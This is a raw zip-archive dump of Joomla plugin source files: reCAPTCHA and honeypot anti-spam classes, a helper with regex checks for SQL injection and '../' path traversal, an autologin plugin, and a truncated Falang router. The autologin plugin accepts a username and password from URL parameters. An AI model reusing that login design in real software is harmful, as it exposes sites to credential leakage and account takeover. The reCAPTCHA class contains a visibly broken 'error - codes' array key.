            die("To use reCAPTCHA you must get an API key from <a href='" . self::$_signupUrl . "'>" . self::$_signupUrl . "</a>");
        }
        $this->_secret = $secret;
    }

    /**
     * Calls the reCAPTCHA siteverify API to verify whether the user passes
     * CAPTCHA test.
     *
     * @param string $remoteIp IP address of end user.
     * @param string $response response string from recaptcha verification.
     *
     * @return ReCaptchaResponse
     */
    public function verifyResponse($remoteIp, $response)
    {
        // Discard empty solution submissions
        if ($response == null || strlen($response) == 0) {
            $recaptchaResponse = new ReCaptchaResponse();
            $recaptchaResponse->success = false;
            $recaptchaResponse->errorCodes = 'missing-input';

            return $recaptchaResponse;
        }

        $getResponse = $this->_submitHttpGet(self::$_siteVerifyUrl, ['secret' => $this->_secret, 'remoteip' => $remoteIp, 'v' => self::$_version, 'response' => $response]);
        $answers = json_decode($getResponse, true);
        $recaptchaResponse = new ReCaptchaResponse();

        if (trim($answers ['success']) == true) {
            $recaptchaResponse->success = true;
        } else {
            $recaptchaResponse->success = false;
            $recaptchaResponse->errorCodes = $answers [error - codes];
        }

        return $recaptchaResponse;
    }

    /**
     * Submits an HTTP GET to a reCAPTCHA server.
     *
     * @param string $path url path to recaptcha server.
     * @param array  $data array of parameters to be sent.
     *
     * @return false|string response
     */
    private function _submitHTTPGet($path, $data)
    {
        $req = $this->_encodeQS($data);
        $response = file_get_contents($path . $req);

        return $response;
    }

    /**
     * Encodes the given data into a query string format.
     *
     * @param array $data array of string elements to be encoded.
     *
     * @return string - encoded request.
     */
    private function _encodeQS($data)
    {
        $req = "";
        foreach ($data as $key => $value) {
            $req .= $key . '=' . urlencode(stripslashes($value)) . '&';
        }

        // Cut the last '&'
        $req = substr($req, 0, strlen($req) - 1);

        return $req;
    }
}
PK!3easycalccheckplus/src/libraries/services/index.htmlnu�[���PK!�O��5easycalccheckplus/src/libraries/services/honeypot.phpnu�[���<?php

/**
 * @copyright
 * @package        EasyCalcCheck Plus Pro - ECC+ for Joomla! 3
 * @author         Viktor Vogel <admin@kubik-rubik.de>
 * @version        3.3.0.0-FREE - 2021-05-03
 * @link           https://kubik-rubik.de/ecc-easycalccheck-plus
 *
 * Project Honey Pot Http BlackList
 * http://www.projecthoneypot.org/httpbl_configure.php
 * Version 0.1 by Francois Dechery, www.440net.net
 */
defined('_JEXEC') || die('Restricted access');

class HttpBl
{
    protected $access_key = "";
    protected $domain = "dnsbl.httpbl.org";
    protected $answer_codes = [
        0 => 'Search Engine',
        1 => 'Suspicious',
        2 => 'Harvester',
        3 => 'Suspicious & Harvester',
        4 => 'Comment Spammer',
        5 => 'Suspicious & Comment Spammer',
        6 => 'Harvester & Comment Spammer',
        7 => 'Suspicious & Harvester & Comment Spammer',
    ];
    protected $ip = '';
    protected $type_txt = '';
    protected $type_num = 0;
    protected $engine_txt = '';
    protected $engine_num = 0;
    protected $days = 0;
    protected $score = 0;

    public function __construct($key = '')
    {
        $key && $this->access_key = $key;
    }

    // return 1 (Search engine) or 2 (Generic) if host is found, else return 0
    public function query($ip)
    {
        if (!$ip) {
            return false;
        }
        $this->ip = $ip;
        [$a, $b, $c, $d] = explode('.', $ip);
        $query = $this->access_key . ".$d.$c.$b.$a." . $this->domain;
        $host = gethostbyname($query);
        [$first, $days, $score, $type] = explode('.', $host);

        if ($first == 127) {
            //spammer
            $this->days = $days;
            $this->score = $score;
            $this->type_num = $type;
            $this->type_txt = $this->answer_codes[$type];

            // search engine
            if ($type == 0) {
                $this->days = 0;
                $this->score = 0;
                $this->engine_num = $score;

                //$this->engine_txt	=$this->engine_codes[$score];
                return 1;
            } else {
                return 2;
            }
        }

        return 0;
    }
}
PK!ORb�h:h:*easycalccheckplus/src/libraries/Helper.phpnu�[���<?php

/**
 * @copyright
 * @package        EasyCalcCheck Plus - ECC+ for Joomla! 3
 * @author         Viktor Vogel <admin@kubik-rubik.de>
 * @version        3.3.0.0-FREE - 2021-05-03
 * @link           https://kubik-rubik.de/ecc-easycalccheck-plus
 *
 * @license        GNU/GPL
 *  This program is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

namespace EasyCalcCheckPlus;

defined('_JEXEC') || die('Restricted access');

use Exception;
use Joomla\CMS\{Factory, Language\Text};

/**
 * Helper class for EasyCalcCheckPlus
 *
 * @package EasyCalcCheckPlus
 * @since   3.2.0-FREE
 * @version 3.3.0.0-FREE
 */
class Helper
{
    /**
     * @var string $pluginId
     * @since 3.2.0-FREE
     */
    protected const PLUGIN_ID = 'easycalccheckplus';

    /**
     * Determines correct IP address (correct usage also with a proxy)
     *
     * @return string
     * @since 3.2.0-FREE
     */
    public static function getIpAddress(): string
    {
        $ipAddress = filter_var($_SERVER['REMOTE_ADDR'], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6);
        $headers = $_SERVER;

        if (function_exists('apache_request_headers')) {
            $headers = apache_request_headers();
        }

        // Get the forwarded IP if it exists
        if (array_key_exists('X-Forwarded-For', $headers) && filter_var($headers['X-Forwarded-For'], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6)) {
            $ipAddress = $headers['X-Forwarded-For'];
        } elseif (array_key_exists('HTTP_X_FORWARDED_FOR', $headers) && filter_var($headers['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6)) {
            $ipAddress = $headers['HTTP_X_FORWARDED_FOR'];
        }

        return (string)$ipAddress;
    }

    /**
     * Converts numbers into strings
     *
     * @param int $number
     *
     * @return string
     * @throws Exception
     * @version 3.2.1-FREE
     * @since   3.2.0-FREE
     */
    public static function convertToString(int $number): string
    {
        // Probability 2/3 for conversion
        $random = random_int(1, 3);

        if ($random !== 1) {
            if ($number > 20) {
                return (string)$number;
            }

            // Names of the numbers are read from language file
            $names = [
                'PLG_SYSTEM_EASYCALCCHECKPLUS_NULL',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_ONE',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_TWO',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_THREE',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_FOUR',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_FIVE',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_SIX',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_SEVEN',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_EIGHT',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_NINE',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_TEN',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_ELEVEN',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_TWELVE',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_THIRTEEN',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_FOURTEEN',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_FIFTEEN',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_SIXTEEN',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_SEVENTEEN',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_EIGHTEEN',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_NINETEEN',
                'PLG_SYSTEM_EASYCALCCHECKPLUS_TWENTY',
            ];

            return Text::_($names[$number]);
        }

        return (string)$number;
    }

    /**
     * Redirects if spam check was not passed successfully
     *
     * @param string $redirectUrl
     *
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    public static function redirect(string $redirectUrl): void
    {
        try {
            Factory::getApplication()->redirect($redirectUrl);
        } catch (Exception $e) {
            // White page - if redirection doesn't work
            jexit(Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_YOUHAVENOTRESOLVEDOURSPAMCHECK'));
        }
    }

    /**
     * Cleans cache to avoid inconsistent output
     *
     * @throws Exception
     * @version 3.2.1-FREE
     * @since   3.3.0.0-FREE
     */
    public static function cleanCache(): void
    {
        $config = Factory::getConfig();

        if ((bool)$config->get('caching') !== false) {
            $cache = Factory::getCache(Factory::getApplication()->input->get('option', '', 'WORD'));
            $cache->clean();
        }
    }

    /**
     * SQL injection and file inclusion check
     *
     * @throws Exception
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    public static function sqlInjectionLocalFileInclusionCheck(): void
    {
        $requestMethods = ['GET', 'POST', 'REQUEST'];

        foreach ($requestMethods as $requestMethod) {
            // Raw request input required for the checks, do not go through Joomla!'s input class
            if ($requestMethod === 'GET') {
                $requestMethodVariable = $_GET;
            } elseif ($requestMethod === 'POST') {
                $requestMethodVariable = $_POST;
            } elseif ($requestMethod === 'REQUEST') {
                $requestMethodVariable = $_REQUEST;
            }

            if (!empty($requestMethodVariable)) {
                foreach ($requestMethodVariable as $key => $value) {
                    if (is_numeric($value) || is_array($value)) {
                        continue;
                    }

                    $a = preg_replace('@/\*.*?\*/@s', ' ', $value);

                    if (preg_match('@UNION(?:\s+ALL)?\s+SELECT@i', $a)) {
                        throw new Exception(Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_INTERNALERRORSQLINJECTION'), 500);
                    }

                    $pDbprefix = Factory::getApplication()->get('dbprefix');
                    $ta = [
                        '/(\s+|\.|,)`?(#__)/',
                        '/(\s+|\.|,)`?(jos_)/i',
                        "/(\s+|\.|,)`?({$pDbprefix}_)/i",
                    ];

                    foreach ($ta as $t) {
                        if (preg_match($t, $value)) {
                            throw new Exception(Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_INTERNALERRORSQLINJECTION'), 500);
                        }
                    }

                    if (in_array($key, ['controller', 'view', 'model', 'template'])) {
                        $recurse = str_repeat('\.\.\/', 2);

                        while (preg_match('@' . $recurse . '@', $value)) {
                            throw new Exception(Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_INTERNALERRORSQLINJECTION'), 500);
                        }
                    }
                }
            }
        }
    }

    /**
     * Saves entered data into the session
     *
     * @throws Exception
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    public static function saveData(): void
    {
        $request = Factory::getApplication()->input->getArray($_REQUEST);
        $dataArray = [];
        $keysExclude = [
            'option',
            'view',
            'layout',
            'id',
            'Itemid',
            'task',
            'controller',
            'func',
        ];

        foreach ($request as $key => $value) {
            if (!in_array($key, $keysExclude)) {
                if (is_array($value)) {
                    foreach ($value as $key2 => $value2) {
                        // Need second request for user profile plugin
                        if (is_array($value2)) {
                            foreach ($value2 as $key3 => $value3) {
                                $key4 = $key . '[' . ($key2 === 0 ? '' : $key2) . '][' . ($key3 === 0 ? '' : $key3) . ']';
                                $dataArray[$key4] = $value3;
                            }

                            continue;
                        }

                        $key3 = $key . '[' . ($key2 === 0 ? '' : $key2) . ']';
                        $dataArray[$key3] = $value2;
                    }

                    continue;
                }

                $dataArray[$key] = $value;
            }
        }

        self::setSession('savedData', $dataArray);
    }

    /**
     * Sets a session variable
     *
     * @param string       $name
     * @param string|array $value
     *
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    public static function setSession(string $name, $value): void
    {
        Factory::getSession()->set($name, $value, self::PLUGIN_ID);
    }

    /**
     * Decodes encoded fields
     *
     * @throws Exception
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    public static function decodeFields(): void
    {
        $input = Factory::getApplication()->input;
        $encodedVariablesSession = self::getSession('fieldsEncoded', '');

        if (!empty($encodedVariablesSession)) {
            $form = [];
            $encodedVariables = unserialize(base64_decode($encodedVariablesSession));

            foreach ($encodedVariables as $key => $value) {
                $valueRequest = $input->get($value, null, 'STRING');

                // Decode variable only if it is set!
                if (isset($valueRequest)) {
                    // Is this decoded variable transmitted in the request?
                    if (!empty($valueRequest)) {
                        // If key is an array, then handle it correctly
                        if (preg_match('@(.*)\[(.+)\]@isU', $key, $matches)) {
                            $form[$matches[1]][$matches[2]] = $valueRequest;
                        } else {
                            $form[$key] = $valueRequest;
                        }

                        // Unset the decoded variable from the request
                        $input->set($value, '');

                        continue;
                    }

                    // If key is an array, then handle it correctly
                    if (preg_match('@(.*)\[(.+)\]@isU', $key, $matches)) {
                        $form[$matches[1]][$matches[2]] = '';
                    } else {
                        $form[$key] = '';
                    }

                    // Unset the decoded variable from the request
                    $input->set($value, '');
                }
            }

            // Set the decoded fields back to the request variable
            foreach ($form as $key => $value) {
                $input->set($key, $value);

                // We also need to set the variable to the global $_POST variable - needed for the token check of the components
                // Do not use the API because we need first to gather all information - set variables directly
                $_POST[$key] = $value;
            }

            self::clearSession('fieldsEncoded');
        }
    }

    /**
     * Gets a session variable
     *
     * @param string      $name
     * @param string|null $default
     *
     * @return mixed
     * @since 3.2.0-FREE
     */
    public static function getSession(string $name, $default = null)
    {
        return Factory::getSession()->get($name, $default, self::PLUGIN_ID);
    }

    /**
     * Clears a session variable
     *
     * @param string $name
     *
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    public static function clearSession(string $name): void
    {
        Factory::getSession()->clear($name, self::PLUGIN_ID);
    }

    /**
     * Encodes input fields
     *
     * @param string $body
     * @param string $matchExtension
     * @param string $extensionInfoException
     *
     * @throws Exception
     * @version 3.2.1-FREE
     * @since   3.2.0-FREE
     */
    public static function encodeFields(string &$body, string $matchExtension, string $extensionInfoException): void
    {
        $patternEncode = '@<[^>]+(name=("|\')([^>]*)("|\'))[^>]*>@isU';
        preg_match_all($patternEncode, $matchExtension, $matchesEncode);

        $matchEncodeReplacement = [];

        // Add global exceptions - this fields should not be renamed to avoid execution errors
        $replaceNot = [
            'option',
            'view',
            'task',
            'func',
            'layout',
            'controller',
        ];

        // Add exceptions from extension if provided
        if (!empty($extensionInfoException)) {
            $replaceNot = array_merge($replaceNot, array_map('trim', explode(',', $extensionInfoException)));
        }

        $fieldsEncoded = [];

        foreach ($matchesEncode[3] as $key => $match) {
            if (!in_array($match, $replaceNot)) {
                $random = self::randomString();
                $fieldsEncoded[$match] = $random;
                $matchEncodeReplacement[$key] = str_replace($matchesEncode[1][$key], 'name="' . $random . '"', $matchesEncode[0][$key]);
            } else {
                unset($matchesEncode[0][$key]);
            }
        }

        if (!empty($fieldsEncoded)) {
            self::setSession('fieldsEncoded', base64_encode(serialize($fieldsEncoded)));
        }

        if (!empty($matchEncodeReplacement)) {
            $body = str_replace($matchesEncode[0], $matchEncodeReplacement, $body);
        }
    }

    /**
     * Creates one or an array of (pseudo-)random strings
     *
     * @param int $count
     *
     * @return mixed - if $count is 1, then string else array
     * @throws Exception
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    public static function randomString(int $count = 1)
    {
        $characters = range('a', 'z');
        $numbers = range(0, 9);
        $stringArray = [];

        for ($i = 0; $i < $count; $i++) {
            $string = '';

            // first character has to be a letter
            $string .= $characters[random_int(0, 25)];

            // other characters arbitrarily
            $characters = array_merge($characters, $numbers);

            $stringLength = random_int(4, 12);

            for ($a = 0; $a < $stringLength; $a++) {
                $string .= $characters[random_int(0, 35)];
            }

            $stringArray[] = $string;
        }

        if ($count === 1) {
            $stringArray = $stringArray[0];
        }

        return $stringArray;
    }
}
PK!��ѡ��akeebaactionlog/.htaccessnu&1i�<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
PK!�V�ic_autologin/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK!�h��zzic_autologin/ic_autologin.phpnu&1i�<?php
/**
 *----------------------------------------------------------------------------
 * iCagenda     Plugin System - Autologin
 *----------------------------------------------------------------------------
 * @version     1.4 2018-05-01
 *
 * @package     iCagenda.Plugin
 * @subpackage  System.ic_autologin
 * @link        https://icagenda.joomlic.com
 *
 * @author      Cyril Rezé
 * @copyright   (c) 2012-2019 Jooml!C / Cyril Rezé. All rights reserved.
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 *
 *  This program is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 * @since       1.0
 *----------------------------------------------------------------------------
*/

defined('_JEXEC') or die;

JPluginHelper::importPlugin('icagenda'); // @todo: move to a new iCagenda system plugin

jimport('joomla.plugin.plugin');

class PlgSystemic_autologin extends JPlugin
{
	protected $ic_un;
	protected $ic_pw;

	function __construct(& $subject, $config)
	{
		parent::__construct($subject, $config);

		$this->loadLanguage();
	}

	function onAfterInitialise()
	{
		$app    = JFactory::getApplication();
		$jinput = $app->input;

		$this->ic_un = $jinput->get('icu', null, 'raw');
		$this->ic_pw = $jinput->get('icp', null, 'raw');

		if ( ! empty($this->ic_un) && ! empty($this->ic_pw))
		{
			$result = $this->icLogin();

			$urllink  = JUri::getInstance()->toString();
			$cleanurl = preg_replace('/&icu=[^&]*/', '', $urllink);
			$cleanurl = preg_replace('/&icp=[^&]*/', '', $cleanurl);

			// Redirect to target URL after success login
			if ( ! $result instanceof Exception)
			{
				$app->redirect($cleanurl);
			}
		}

		return true;
	}

	/**
	 * Login with ENCRYPT PASSWORD
	 */
	function icLogin()
	{
		// Get the application object.
		$app = JFactory::getApplication();

		$db = JFactory::getDbo();
		$query = 'SELECT id, username, password'
				. ' FROM #__users'
				. ' WHERE username=' . $db->Quote($this->ic_un)
				. '   AND password=' . $db->Quote($this->ic_pw)
		;

		$db->setQuery($query);

		$result = $db->loadObject();

		if ($result)
		{
			JPluginHelper::importPlugin('user');

			$options = array();

			$options['action'] = 'core.login.site';

			$response['username'] = $result->username;

			$result = $app->triggerEvent('onUserLogin', array((array)$response, $options));
		}
	}
}
PK!ܭ=RRic_autologin/ic_autologin.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="2.5" method="upgrade" group="system">
	<name>System - iCagenda :: Autologin</name>
	<author>Cyril Rezé / Jooml!C</author>
	<creationDate>2018-05-01</creationDate>
	<copyright>Copyright (c) 2012-2019 Jooml!C / Cyril Rezé. All rights reserved.</copyright>
	<license>GNU General Public License version 3 or later; see LICENSE.txt</license>
	<authorEmail>info@joomlic.com</authorEmail>
	<authorUrl>www.joomlic.com</authorUrl>
	<version>1.4</version>
	<description>The iCagenda Autologin plugin allows to automatically connect an authorized user when clicking on a not public URL inserted in a notification email.</description>

	<files>
		<filename plugin="ic_autologin">ic_autologin.php</filename>
		<filename>index.html</filename>
	</files>

	<config>
	</config>

</extension>
PK!z����Afalangdriver/language/en-GB/en-GB.plg_system_falangdriver.sys.ininu&1i�PLG_SYSTEM_FALANGDRIVER="System - FaLang Database Driver"
PLG_SYSTEM_FALANGDRIVER_XML_DESCRIPTION="Add Database Driver override necessary to translate languages."
PK!o��))=falangdriver/language/en-GB/en-GB.plg_system_falangdriver.ininu&1i�PLG_SYSTEM_FALANGDRIVER="System - FaLang Database Driver"
PLG_SYSTEM_FALANGDRIVER_XML_DESCRIPTION="Add Database Driver override necessary to translate languages."
PLG_SYSTEM_FALANGDRIVER_CONFIG_ERROR_WRITE_FAILED="Could not write to the configuration file"
PLG_SYSTEM_FALANGDRIVER_MYSQL_OVERRIDE="MySQL(Falang)"
PLG_SYSTEM_FALANGDRIVER_MYSQLI_OVERRIDE="MySQLi(Falang)"
PLG_SYSTEM_FALANGDRIVER_META_NO_INFO="No information available<br />\n"

;2.9.2
PLG_SYSTEM_FALANGDRIVER_PDO_NOT_SUPPORTED="PDO driver not supported by Falang yet. Use MySQLi driver."

PK!�#o,,&falangdriver/language/en-GB/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!h��j�j!falangdriver/falangdriver_old.phpnu&1i�<?php
/**
 * @package     Falang for Joomla!
 * @author      Stéphane Bouey <stephane.bouey@faboba.com> - http://www.faboba.com
 * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @copyright   Copyright (C) 2010-2017. Faboba.com All rights reserved.
 */

// No direct access to this file
defined('_JEXEC') or die;

//Global definitions use for front
if( !defined('DS') ) {
    define( 'DS', DIRECTORY_SEPARATOR );
}


jimport('joomla.plugin.plugin');

/**
 * Falang Driver Plugin
 */
class plgSystemFalangdriver extends JPlugin
{

	public function __construct(&$subject, $config = array())
	{


		parent::__construct($subject, $config);
		//load plugin language
		$this->loadLanguage();

        // This plugin is only relevant for use within the frontend!
		if (JFactory::getApplication()->isAdmin())
		{
			return;
		}

		//@since 2.9.0
		//add this setup in the constuctor due to system plugin who use $this->db (constucted by reflexion of JPlugin)
		//and no more in the onAfterInitialise
		if (!$this->isFalangDriverActive())
		{
			$this->setupDatabaseDriverOverride();
		}

	}

    /**
     * System Event: onAfterInitialise
     *
     * @return	string
     */
    function onAfterInitialise()
    {
        // This plugin is only relevant for use within the frontend!
        if (JFactory::getApplication()->isAdmin())
        {
            return;
        }

        //fix for joomla > 3.4.0
        $app = JFactory::getApplication();
        if ($app->isSite()) {
            $router = $app->getRouter();

            // attach build rules for translation on SEF
            $router->attachBuildRule(array($this, 'buildRule'));

            // attach build rules for translation on SEF
            $router->attachParseRule(array($this, 'parseRule'));
        }
        //end fix

	    //override joomla compoenent routeur
	    $this->setupAdvancedRouter();

    }

    public function buildRule(&$router, &$uri)
    {
        $lang = $uri->getVar('lang');
        $default_lang	= JComponentHelper::getParams('com_languages')->get('site', 'en-GB');

	    //we build the route for category list article
	    if ($lang != $default_lang && $uri->getVar('id') != null && $uri->getVar('catid') != null &&
		    $uri->getVar('option') == 'com_content' ) {//&& $uri->getVar('view') == 'article'

            $fManager = FalangManager::getInstance();
            $id_lang = $fManager->getLanguageID($lang);

            // Make sure we have the id and the alias
            if (strpos($uri->getVar('id'), ':') > 0)
            {
                list($tmp, $id) = explode(':', $uri->getVar('id'), 2);
                $db = JFactory::getDbo();
                $dbQuery = $db->getQuery(true)
                    ->select('fc.value')
                    ->from('#__falang_content fc')
                    ->where('fc.reference_id = '.(int)$tmp)
                    ->where('fc.language_id = '.(int) $id_lang )
                    ->where('fc.reference_field = \'alias\'')
                    ->where('fc.published = 1')
                    ->where('fc.reference_table = \'content\'');

                $db->setQuery($dbQuery);
                $alias = $db->loadResult();
                if (isset($alias)) {
                    $uri->setVar('id',$tmp. ':' . $alias);
                }
            }
            // Make sure we have the id and the alias
            if (strpos($uri->getVar('catid'), ':') > 0)
            {
                list($tmp2, $catid) = explode(':', $uri->getVar('catid'), 2);

                $db = JFactory::getDbo();
                $dbQuery = $db->getQuery(true)
                    ->select('fc.value')
                    ->from('#__falang_content fc')
                    ->where('fc.reference_id = '.(int)$tmp2)
                    ->where('fc.language_id = '.(int) $id_lang )
                    ->where('fc.reference_field = \'alias\'')
                    ->where('fc.published = 1')
                    ->where('fc.reference_table = \'categories\'');

                $db->setQuery($dbQuery);
                $alias = $db->loadResult();
                if (isset($alias)) {
                    $uri->setVar('catid',$tmp2. ':' . $alias);
                }
            }
        }

	    //fix canonical if sef plugin is enabled
	    $sef_plugin = JPluginHelper::getPlugin('system', 'sef');
	    if (!empty($sef_plugin)) {
		    if ($lang != $default_lang && $uri->getVar('id') != null && $uri->getVar('catid') != null &&
			    $uri->getVar('option') == 'com_content' ) {//&& $uri->getVar('view') == 'article'
			    $fManager = FalangManager::getInstance();
			    $id_lang = $fManager->getLanguageID($lang);

			    // Make sure we have the id and the alias
			    if (strpos($uri->getVar('id'), ':') === false)
			    {
				    //we use id in the query to be translated.
				    $db = JFactory::getDbo();
				    $dbQuery = $db->getQuery(true)
					    ->select('alias,id')
					    ->from('#__content')
					    ->where('id=' . (int) $uri->getVar('id'));
				    $db->setQuery($dbQuery);
				    $alias = $db->loadResult();
				    if (isset($alias)) {
					    $uri->setVar('id',$uri->getVar('id') . ':' . $alias);
				    }
			    }
		    }
	    }

        //build route for hikashop product
        if ( $uri->getVar('option') == 'com_hikashop' &&  $uri->getVar('ctrl') == 'product' &&  $uri->getVar('task')== 'show' ) {
            // on native language look in falang table
            if ($default_lang != $lang ){
                $fManager = FalangManager::getInstance();
                $id_lang = $fManager->getLanguageID($lang);
                $id = $uri->getVar('cid');
                $db = JFactory::getDbo();
                $dbQuery = $db->getQuery(true)
                    ->select('fc.value')
                    ->from('#__falang_content fc')
                    ->where('fc.reference_id = '.(int)$id)
                    ->where('fc.language_id = '.(int) $id_lang )
                    ->where('fc.reference_field = \'product_alias\'')
                    ->where('fc.published = 1')
                    ->where('fc.reference_table = \'hikashop_product\'');

                $db->setQuery($dbQuery);
                $alias = $db->loadResult();
                if (isset($alias)) {
                    $uri->setVar('name', $alias);
                }

            } else {
                // translated languague look in native table
                $id = $uri->getVar('cid');
                $db = JFactory::getDbo();
                $dbQuery = $db->getQuery(true)
                    ->select('product_alias')
                    ->from('#__hikashop_product')
                    ->where('product_id = '.(int)$id);
                $db->setQuery($dbQuery);
                $alias = $db->loadResult();
                if (isset($alias)) {
                    $uri->setVar('name', $alias);
                }
            }
            //
        }
        //build route for hikahsop category list
        if ( $uri->getVar('option') == 'com_hikashop' &&  $uri->getVar('ctrl') == 'category' &&  $uri->getVar('task')== 'listing' ) {
            // on native language look in falang table
            if ($default_lang != $lang) {
                $fManager = FalangManager::getInstance();
                $id_lang = $fManager->getLanguageID($lang);
                $id = $uri->getVar('cid');
                $db = JFactory::getDbo();
                $dbQuery = $db->getQuery(true)
                    ->select('fc.value')
                    ->from('#__falang_content fc')
                    ->where('fc.reference_id = ' . (int)$id)
                    ->where('fc.language_id = ' . (int)$id_lang)
                    ->where('fc.reference_field = \'category_alias\'')
                    ->where('fc.published = 1')
                    ->where('fc.reference_table = \'hikashop_category\'');

                $db->setQuery($dbQuery);
                $alias = $db->loadResult();
                if (isset($alias)) {
                    $uri->setVar('name', $alias);
                }

            } else {
                // translated languague look in native table
                $id = $uri->getVar('cid');
                $db = JFactory::getDbo();
                $dbQuery = $db->getQuery(true)
                    ->select('category_alias')
                    ->from('#__hikashop_category')
                    ->where('category_id = ' . (int)$id);
                $db->setQuery($dbQuery);
                $alias = $db->loadResult();
                if (isset($alias)) {
                    $uri->setVar('name', $alias);
                }
            }
        }
        //build route for k2 category list
        //v2.2.2 add download test due to download link bug in other case.
        if ( $uri->getVar('option') == 'com_k2' &&  $uri->getVar('view') == 'item' && $uri->getVar('task') != 'download' ) {
            // on native language look in falang table
            if ($default_lang != $lang ) {
                $fManager = FalangManager::getInstance();
                $id_lang = $fManager->getLanguageID($lang);

                // Make sure we have the id and the alias
                if (strpos($uri->getVar('id'), ':') > 0) {
                    list($tmp, $id) = explode(':', $uri->getVar('id'), 2);
                    $db = JFactory::getDbo();
                    $dbQuery = $db->getQuery(true)
                        ->select('fc.value')
                        ->from('#__falang_content fc')
                        ->where('fc.reference_id = ' . (int)$tmp)
                        ->where('fc.language_id = ' . (int)$id_lang)
                        ->where('fc.reference_field = \'alias\'')
                        ->where('fc.published = 1')
                        ->where('fc.reference_table = \'k2_items\'');

                    $db->setQuery($dbQuery);
                    $alias = $db->loadResult();
                    if (isset($alias)) {
                        $uri->setVar('id', $tmp . ':' . $alias);
                    }
                }
            } else {
                // translated languague look in native table
	            $tmp = $uri->getVar('id');
	            // Make sure we have the id and the alias
	            if (strpos($tmp, ':') > 0) {
		            list($tmp, $id) = explode(':', $tmp, 2);
	            }

                $db = JFactory::getDbo();
                $dbQuery = $db->getQuery(true)
                    ->select('alias')
                    ->from('#__k2_items')
                    ->where('id = '.(int)$tmp);
                $db->setQuery($dbQuery);
                $alias = $db->loadResult();
                if (isset($alias)) {
                    $uri->setVar('id', $tmp . ':' . $alias);
                }
            }
        }

	    if ( $uri->getVar('option') == 'com_djcatalog2' &&  $uri->getVar('view') == 'item') {
		    $this->buildRuleAlias($uri,'djc2_items','alias');
	    }


        return array();
    }

	public function buildRuleAlias(&$uri,$reference_table,$alias_name){
		$lang = $uri->getVar('lang');
		$default_lang	= JComponentHelper::getParams('com_languages')->get('site', 'en-GB');

		//look in Falang Table
		if ($default_lang != $lang ) {
			$fManager = FalangManager::getInstance();
			$id_lang = $fManager->getLanguageID($lang);

			// Make sure we have the id and the alias
			if (strpos($uri->getVar('id'), ':') > 0) {
				list($id,$tmp) = explode(':', $uri->getVar('id'), 2);
				$db = JFactory::getDbo();
				$dbQuery = $db->getQuery(true);
				$dbQuery->select('fc.value')
					->from('#__falang_content fc')
					->where('fc.reference_id = ' . $dbQuery->q($id))
					->where('fc.language_id = ' . $dbQuery->q($id_lang))
					->where('fc.reference_field = '.$dbQuery->q($alias_name))
					->where('fc.published = 1')
					->where('fc.reference_table = '.$dbQuery->q($reference_table));

				$db->setQuery($dbQuery);
				$alias = $db->loadResult();
				if (isset($alias)) {
					$uri->setVar('id', $id . ':' . $alias);
				}
			}
		} else {
			// translated languague look in native table
			$tmp = $uri->getVar('id');
			// Make sure we have the id and the alias
			if (strpos($tmp, ':') > 0) {
				list($tmp, $id) = explode(':', $tmp, 2);
			}

			$db = JFactory::getDbo();
			$dbQuery = $db->getQuery(true);
			$dbQuery->select($dbQuery->qn($alias_name))
				->from( $dbQuery->qn('#__' .$reference_table))
				->where('id = ' . $dbQuery->q($tmp));
			$db->setQuery($dbQuery);
